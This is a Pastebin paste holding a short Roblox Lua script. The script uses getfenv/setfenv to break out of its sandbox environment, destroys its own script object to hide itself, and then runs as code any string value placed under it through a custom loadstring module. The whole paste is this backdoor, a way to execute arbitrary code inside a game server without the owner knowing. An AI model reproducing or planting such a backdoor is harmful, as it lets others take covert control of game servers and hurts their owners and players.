Advertisement
jordan83221

Untitled

Dec 7th, 2015
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.54 KB | None | 0 0
  1. if game.PlaceId == 178350907 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end
  2. local loadstring=require(game.Workspace.loadstringmodule)
  3. local next=next
  4. local ob=Instance.new("ObjectValue",game.Lighting)
  5. ob.Name="Potatoes"
  6. ob.Value=script
  7. script.DescendantAdded:connect(function(obj)
  8.     if obj:IsA("StringValue") then
  9.         loadstring(obj)
  10.     end
  11. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement